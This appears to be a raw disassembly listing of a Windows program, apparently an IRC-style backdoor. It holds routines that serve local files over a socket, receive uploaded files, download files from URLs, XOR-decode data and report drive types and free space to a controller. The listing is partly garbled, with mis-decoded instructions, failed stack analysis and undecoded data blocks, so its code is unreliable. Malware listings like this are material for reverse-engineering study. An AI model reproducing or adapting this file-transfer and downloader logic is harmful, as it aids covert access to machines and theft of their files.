dd 4C858D52h, 68FFFFEEh, 43A0D8h, 5D44E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 13E85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch
dd 0F54CE850h, 75FFFFFFh, 551DE8F0h, 5959FFFFh, 0A28EE856h
dd 68E3006Fh, 43FDB4h, 40B1E853h, 83590000h, 7559FFF8h
dd 4C858D59h, 68FFFFEEh, 43A0A8h, 5CE0E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 0AFE85350h, 83FFFF3Bh, 858D14C4h, 0FFFFEE4Ch
dd 0F4E8E850h, 5359FFFFh, 0DC9015FFh, 75FF004Ch, 54B1E8F0h
dd 5659FFFFh, 6FA223E8h, 646A1800h, 806415FFh, 0FF330042h
dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 85E85057h, 83000059h
dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0DC1015FFh, 0C085004Ch
dd 858D387Eh, 0FFFFEE4Ch, 42B0FC68h, 8DE85000h, 8D000062h
dd 0FFEE4C85h, 0ECE850FFh, 8300003Dh, 0C0850CC4h, 646A1474h
dd 806415FFh, 0A6A0042h, 0FF536EE8h, 59C085FFh, 858DA375h
dd 0FFFFEE4Ch, 43A07468h, 1BE85000h, 3900005Ch, 5959F87Dh
dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
dd 3AECE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFF425E8h
dd 0FF5359FFh, 4CDC9015h, 0F075FF00h, 0FF53EEE8h, 0E85759FFh
dd 6FA160h
db 0D1h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415EA1 proc near ; DATA XREF: seg000:0040924Fo
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_75 = byte ptr -75h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
xor ebx, ebx
xor esi, esi
inc ebx
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_10], esi
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call ds:dword_4CDC78 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_415EEF
push offset unk_43A1D8
jmp loc_4160A8
; ---------------------------------------------------------------------------
loc_415EEF: ; CODE XREF: sub_415EA1+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_41B780
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call ds:dword_4CDBF8 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call ds:dword_4CDC24 ; bind
test eax, eax
jz short loc_415F2D
push offset unk_43A1B4
jmp loc_4160A8
; ---------------------------------------------------------------------------
loc_415F2D: ; CODE XREF: sub_415EA1+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call ds:dword_4CDB9C ; getsockname
push [ebp+var_2E]
call ds:dword_4CDB28 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_41B1D0
pop ecx
loc_415F5F: ; CODE XREF: sub_415EA1+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_415F72
push 5Fh
pop eax
jmp short loc_415F75
; ---------------------------------------------------------------------------
loc_415F72: ; CODE XREF: sub_415EA1+CAj
movsx eax, al
loc_415F75: ; CODE XREF: sub_415EA1+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_41B1D0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_415F5F
push ebx
push edi
call ds:dword_4CDC20 ; listen
test eax, eax
jz short loc_415FA8
push offset unk_43A0D8
jmp loc_4160A8
; ---------------------------------------------------------------------------
loc_415FA8: ; CODE XREF: sub_415EA1+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call ds:dword_4280EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_415FD2
push offset unk_43A194
jmp loc_4160A8
; ---------------------------------------------------------------------------
loc_415FD2: ; CODE XREF: sub_415EA1+125j
push esi
push eax
call near ptr 0B10000h
aad 89h
inc ebp
or [eax+0Fh], dl
mov bh, 45h
cld
push eax
push [ebp+var_1FC]
call sub_40AAF8
pop ecx
push eax
call ds:dword_4CDC38 ; inet_addr
push eax
call ds:dword_4CDBF4 ; htonl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_43A17C
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409966
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call ds:dword_4CDBE0 ; select
test eax, eax
jg short loc_416082
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_43A164
push eax
push [ebp+var_1FC]
call sub_409966
jmp loc_4161A6
; ---------------------------------------------------------------------------
loc_416082: ; CODE XREF: sub_415EA1+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call ds:dword_4CDC8C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_4160BB
push offset unk_43A140
loc_4160A8: ; CODE XREF: sub_415EA1+49j
; sub_415EA1+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_41BA76
pop ecx
pop ecx
jmp loc_4161A9
; ---------------------------------------------------------------------------
loc_4160BB: ; CODE XREF: sub_415EA1+200j
push edi
call ds:dword_4CDC90 ; closesocket
cmp [ebp+arg_0], esi
jz loc_41616D
mov edi, 400h
loc_4160D0: ; CODE XREF: sub_415EA1+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_4160DD
mov [ebp+var_4], eax
loc_4160DD: ; CODE XREF: sub_415EA1+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_41B780
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call ds:dword_428120 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call ds:dword_4280E8 ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call ds:dword_4CDC48 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call ds:dword_4CDC10 ; recv
cmp eax, ebx
jl loc_416202
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_416202
sub [ebp+arg_0], eax
jnz loc_4160D0
mov edi, [ebp+var_18]
loc_41616D: ; CODE XREF: sub_415EA1+224j
push [ebp+var_8]
call ds:dword_42806C ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_416994
pop ecx
pop ecx
push eax
push [ebp+var_44]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset unk_43A114
push eax
call sub_41BA76
loc_4161A6: ; CODE XREF: sub_415EA1+1DCj
add esp, 14h
loc_4161A9: ; CODE XREF: sub_415EA1+215j
cmp [ebp+var_50], esi
jnz short loc_4161CE
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409966
add esp, 14h
loc_4161CE: ; CODE XREF: sub_415EA1+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_4152AE
cmp edi, esi
pop ecx
jbe short loc_4161E6
push edi
call ds:dword_4CDC90 ; closesocket
loc_4161E6: ; CODE XREF: sub_415EA1+33Cj
push [ebp+var_1F8]
call ds:dword_4CDC90 ; closesocket
push [ebp+var_58]
call sub_40B287
pop ecx
push esi
call near ptr 0B10000h
hlt
; ---------------------------------------------------------------------------
loc_416202: ; CODE XREF: sub_415EA1+2AFj
; sub_415EA1+2BAj
push esi
mov esi, offset dword_43A0FC
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_409966
push esi
call sub_4152AE
add esp, 18h
push [ebp+var_1F8]
call ds:dword_4CDC90 ; closesocket
push [ebp+var_58]
call sub_40B287
pop ecx
push ebx
call near ptr 0B10000h
loc_416242: ; DATA XREF: seg000:00402271o
cmp dl, [ebp+var_75]
sub_415EA1 endp ; sp-analysis failed
in al, dx
mov eax, 14C4h
call sub_41BD10
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 104h
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push eax
mov [ebp-8], ebx
call near ptr 0B10000h
cld
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_42AAEC
push eax
call sub_41BA76
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:dword_4280EC ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_4162CD
push offset unk_43A278
jmp short loc_416313
; ---------------------------------------------------------------------------
loc_4162CD: ; CODE XREF: seg000:004162C4j
push eax
call ds:dword_42806C ; CloseHandle
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41B6B2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_4162F5
push offset unk_43A248
jmp short loc_416313
; ---------------------------------------------------------------------------
loc_4162F5: ; CODE XREF: seg000:004162ECj
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_417759
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_416326
push offset unk_43A228
loc_416313: ; CODE XREF: seg000:004162CBj
; seg000:004162F3j
lea eax, [ebp-4C4h]
push eax
call sub_41BA76
pop ecx
pop ecx
jmp loc_416420
; ---------------------------------------------------------------------------
loc_416326: ; CODE XREF: seg000:0041630Cj
mov esi, 1000h
loc_41632B: ; CODE XREF: seg000:00416391j
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call ds:dword_4CDC10 ; recv
mov edi, eax
cmp edi, ebx
jz near ptr loc_4163F1+1
cmp edi, 0FFFFFFFFh
jz short loc_416393
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41D4D4
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call ds:dword_4CDBF4 ; htonl
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call ds:dword_4CDC48 ; send
jmp short loc_41632B
; ---------------------------------------------------------------------------
loc_416393: ; CODE XREF: seg000:0041635Bj
lea eax, [ebp-4C4h]
push offset dword_43A0FC
push eax
call sub_41BA76
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409966
lea eax, [ebp-4C4h]
push eax
call sub_4152AE
push dword ptr [ebp-4]
call sub_41B24B
add esp, 24h
push dword ptr [ebp+8]
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp-1Ch]
call sub_40B287
pop ecx
push 1
call near ptr 0B10000h
loc_4163F1: ; CODE XREF: seg000:00416352j
jmp near ptr 9A39A981h
; ---------------------------------------------------------------------------
push edx
push eax
call sub_416994
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_43A1FC
push eax
call sub_41BA76
add esp, 1Ch
loc_416420: ; CODE XREF: seg000:00416321j
cmp [ebp-14h], ebx
jnz short loc_416445
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409966
add esp, 14h
loc_416445: ; CODE XREF: seg000:00416423j
lea eax, [ebp-4C4h]
push eax
call sub_4152AE
cmp [ebp-4], ebx
pop ecx
jz short loc_416460
push dword ptr [ebp-4]
call sub_41B24B
pop ecx
loc_416460: ; CODE XREF: seg000:00416455j
cmp [ebp+8], ebx
jbe short loc_41646E
push dword ptr [ebp+8]
call ds:dword_4CDC90 ; closesocket
loc_41646E: ; CODE XREF: seg000:00416463j
push dword ptr [ebp-1Ch]
call sub_40B287
pop ecx
push ebx
call near ptr 0B10000h
loc_41647D: ; DATA XREF: seg000:00407CDFo
jl short near ptr loc_4164CF+5
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push ds:dword_4CDBA8
call ds:dword_4CDAFC ; InternetOpenUrlA
cmp eax, esi
mov [ebp-18h], eax
jz loc_4168F7
push esi
push esi
push 2
push esi
push esi
loc_4164CF: ; CODE XREF: seg000:loc_41647Dj
lea eax, [ebp-148h]
push 40000000h
push eax
call ds:dword_4280EC ; CreateFileA
cmp eax, edi
mov [ebp-20h], eax
jnb short near ptr loc_416544+1
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_43A444
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_416528
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409966
add esp, 14h
loc_416528: ; CODE XREF: seg000:00416506j
lea eax, [ebp-510h]
push eax
call sub_4152AE
push dword ptr [ebp-48h]
call sub_40B287
pop ecx
pop ecx
push esi
call near ptr 0B10000h
loc_416544: ; CODE XREF: seg000:004164E6j
cmp al, 33h
; ---------------------------------------------------------------------------
dw 0FFFFh
dd 4280A815h, 0D000BB00h, 45890007h, 6AE853FCh, 59000051h
dd 68E44589h, 200h, 0FAF0858Dh, 5056FFFFh, 520FE8h, 0CC48300h
dd 5008458Dh, 0FAF0858Dh, 68FFFFh, 50000002h, 0FFE875FFh
dd 4CDB0415h, 0CC753900h, 75FF1174h, 0F0858D08h, 50FFFFFAh
dd 3BCE8h, 8D595900h, 5056DC45h, 0FAF0858Dh, 75FFFFFFh
dd 75FF5008h, 9A46E8E0h, 3BB7006Fh, 8B2273FBh, 3BC72BC3h
dd 3760845h, 5008458Bh, 0FAF0858Dh, 8B50FFFFh, 0C703E445h
dd 5F22E850h, 0C4830000h, 87D030Ch, 74C47539h, 0C47D3B05h
dd 0C78B3F77h, 500AE8C1h, 0FDB8858Dh, 8B50FFFFh, 0C069B845h
dd 234h, 44093805h, 0BC7D8300h, 68077401h, 43A41Ch, 0F46805EBh
dd 500043A3h, 5455E8h, 10C48300h, 0F087539h, 0FFFF3287h
dd 0C47539FFh, 1EC45C7h, 74000000h, 0C47D3B49h, 75FF4474h
dd 0F0858DC4h, 89FFFFFAh, 6857EC75h, 43A3C8h, 5420E850h
dd 8D560000h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh
dd 0FD34B5FFh, 0F3E8FFFFh, 8DFFFF32h, 0FFFAF085h, 2FE850FFh
dd 83FFFFECh, 15FF28C4h, 4280A8h, 33FC452Bh, 3E8B9D2h
dd 75FF0000h, 33F1F7E0h, 8BC88BD2h, 0F1F741C7h, 15FFD88Bh
dd 42806Ch, 0E8E475FFh, 4BF1h, 59C87539h, 858D5674h, 0FFFFFEB8h
dd 0AA00E850h, 453BFFFEh, 447459C8h, 89C875FFh, 8D50EC75h
dd 0FFFAF085h, 0A3A068FFh, 0E8500043h, 5396h, 0F0858D56h
dd 0FFFFFFFAh, 8D50D475h, 0FFFD3885h, 0B5FF50FFh, 0FFFFFD34h
dd 0FF3269E8h, 0F0858DFFh, 50FFFFFAh, 0FFEBA5E8h, 28C483FFh
dd 0FEC7539h, 22F84h, 0BC7D8300h, 858D5101h, 0FFFFFEB8h
dd 0E0840F51h, 89000000h, 7589F85Dh, 0F86DDFFCh, 89F87D89h
dd 0DDCFC75h, 4286B0h, 0DF241CDDh, 5150F86Dh, 0F0858D51h
dd 0DCFFFFFAh, 4286B00Dh, 241CDD00h, 43A36868h, 17E85000h
dd 83000053h, 75391CC4h, 562075D0h, 0FAF0858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh, 0FFFF31E2h
dd 8D14C483h, 0FFFAF085h, 1BE850FFh, 83FFFFEBh, 5901C07Dh
dd 1A6850Fh, 56A0000h, 0B8858D56h, 56FFFFFEh, 0C9AC6850h
dd 0FF560042h, 4CDB6415h, 0D0753900h, 186850Fh, 858D0000h
dd 0FFFFFEB8h, 0F0858D50h, 68FFFFFAh, 43A34Ch, 52A0E850h
dd 8D560000h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh
dd 0FD34B5FFh, 73E8FFFFh, 8DFFFF31h, 0FFFAF085h, 0AFE850FFh
dd 83FFFFEAh, 3DE924C4h, 89000001h, 7589F85Dh, 0F86DDFFCh
dd 89F87D89h, 0DDCFC75h, 4286B0h, 0DF241CDDh, 5150F86Dh
dd 0F0858D51h, 0DCFFFFFAh, 4286B00Dh, 241CDD00h, 43A30868h
dd 37E85000h, 83000052h, 75391CC4h, 562075D0h, 0FAF0858Dh
dd 75FFFFFFh, 858D50D4h, 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh
dd 0FFFF3102h, 8D14C483h, 0FFFAF085h, 3BE850FFh, 6AFFFFEAh
dd 0F0458D10h, 1E85056h, 6A00004Fh, 0F0858D44h, 5FFFFFFCh
dd 0E8505657h, 4EF0h, 8D1CC483h, 0BD89F045h, 0FFFFFCF0h
dd 8D50FF33h, 0FFFCF085h, 565650FFh, 5656286Ah, 0FEB8858Dh
dd 4756FFFFh, 85C75650h, 0FFFFFCFCh, 43FDB4h, 0FD1CBD89h
dd 8966FFFFh, 0FFFD20B5h, 972EE8FFh, 3B55006Fh, 0FF1275C7h
dd 4CDB5015h, 1C5BE800h, 0FF560000h, 42806815h, 0B8858D00h
dd 50FFFFFEh, 43A2D468h
db 0, 0EBh, 0Ch
; ---------------------------------------------------------------------------
loc_4168F7: ; CODE XREF: seg000:004164C3j
lea eax, [ebp-248h]
push eax
push offset unk_43A2A8
lea eax, [ebp-510h]
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_416937
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409966
add esp, 14h
loc_416937: ; CODE XREF: seg000:00416915j
lea eax, [ebp-510h]
push eax
call sub_4152AE
pop ecx
push dword ptr [ebp-18h]
call ds:dword_4CDC2C ; InternetCloseHandle
push dword ptr [ebp-48h]
call sub_40B287
pop ecx
push esi
call near ptr 0B10000h
push edi
; =============== S U B R O U T I N E =======================================
sub_41695D proc near
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416979
loc_416969: ; CODE XREF: sub_41695D+1Aj
mov dl, ds:byte_42A098
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416969
locret_416979: ; CODE XREF: sub_41695D+Aj
retn
sub_41695D endp
; =============== S U B R O U T I N E =======================================
sub_41697A proc near ; CODE XREF: seg000:004072AAp
; seg000:004073ECp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41D5DE
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_41697A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416994 proc near ; CODE XREF: sub_40FCD8+462p
; sub_40FCD8+5FEp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D57EC
push 0
push edi
call sub_41B780
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_4169B9: ; CODE XREF: sub_416994+5Bj
; sub_416994+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41D6A0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41D630
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_4169F7
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_4169B9
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_4169B9
; ---------------------------------------------------------------------------
loc_4169F7: ; CODE XREF: sub_416994+4Bj
mov eax, edi
jmp short loc_416A00
; ---------------------------------------------------------------------------
loc_4169FB: ; CODE XREF: sub_416994+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_416A00: ; CODE XREF: sub_416994+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_4169FB
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416994 endp
; =============== S U B R O U T I N E =======================================
sub_416A12 proc near ; CODE XREF: sub_416BBE+51p
; sub_416BBE+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_4CDC58 ; GetDriveTypeA
sub eax, 0
jz short loc_416A55
dec eax
jz short loc_416A4F
dec eax
dec eax
jz short loc_416A49
dec eax
jz short loc_416A43
dec eax
jz short loc_416A3D
dec eax
jz short loc_416A37
mov eax, offset word_43A498
retn
; ---------------------------------------------------------------------------
loc_416A37: ; CODE XREF: sub_416A12+1Dj
mov eax, offset off_43A494
retn
; ---------------------------------------------------------------------------
loc_416A3D: ; CODE XREF: sub_416A12+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416A43: ; CODE XREF: sub_416A12+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416A49: ; CODE XREF: sub_416A12+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416A4F: ; CODE XREF: sub_416A12+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416A55: ; CODE XREF: sub_416A12+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416A12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A5B proc near ; CODE XREF: sub_416AA3+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, ds:dword_4CDAE8
test eax, eax
jz short loc_416A90
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_416A90: ; CODE XREF: sub_416A5B+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416A5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AA3 proc near ; CODE XREF: sub_416BBE+17p
; sub_41AC18+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416A5B
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416B7B
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416B7B
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416B7B
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41D720
push edx
push eax
call sub_416994
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41BB70
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41D720
push edx
push eax
call sub_416994
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41BB70
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41D720
push edx
push eax
call sub_416994
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41BB70
add esp, 18h
pop ebx
jmp short loc_416BAA
; ---------------------------------------------------------------------------
loc_416B7B: ; CODE XREF: sub_416AA3+2Cj
; sub_416AA3+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41BA76
lea eax, [ebp+var_118]
push esi
push eax
call sub_41BA76
lea eax, [ebp+var_98]
push esi
push eax
call sub_41BA76
add esp, 18h
loc_416BAA: ; CODE XREF: sub_416AA3+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416AA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BBE proc near ; CODE XREF: sub_416C90+17p
; sub_416C90+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416AA3
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C260
add esp, 10h
test eax, eax
jnz short loc_416C31
push ebx
push ebx
call sub_416A12
pop ecx
push eax
push offset unk_43A4E8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41BB70
add esp, 14h
jmp short loc_416C65
; ---------------------------------------------------------------------------
loc_416C31: ; CODE XREF: sub_416BBE+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416A12
pop ecx
push eax
push offset unk_43A4AC
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41BB70
add esp, 20h
loc_416C65: ; CODE XREF: sub_416BBE+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
lea eax, [ebp+var_500]
push eax
call sub_4152AE
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416BBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
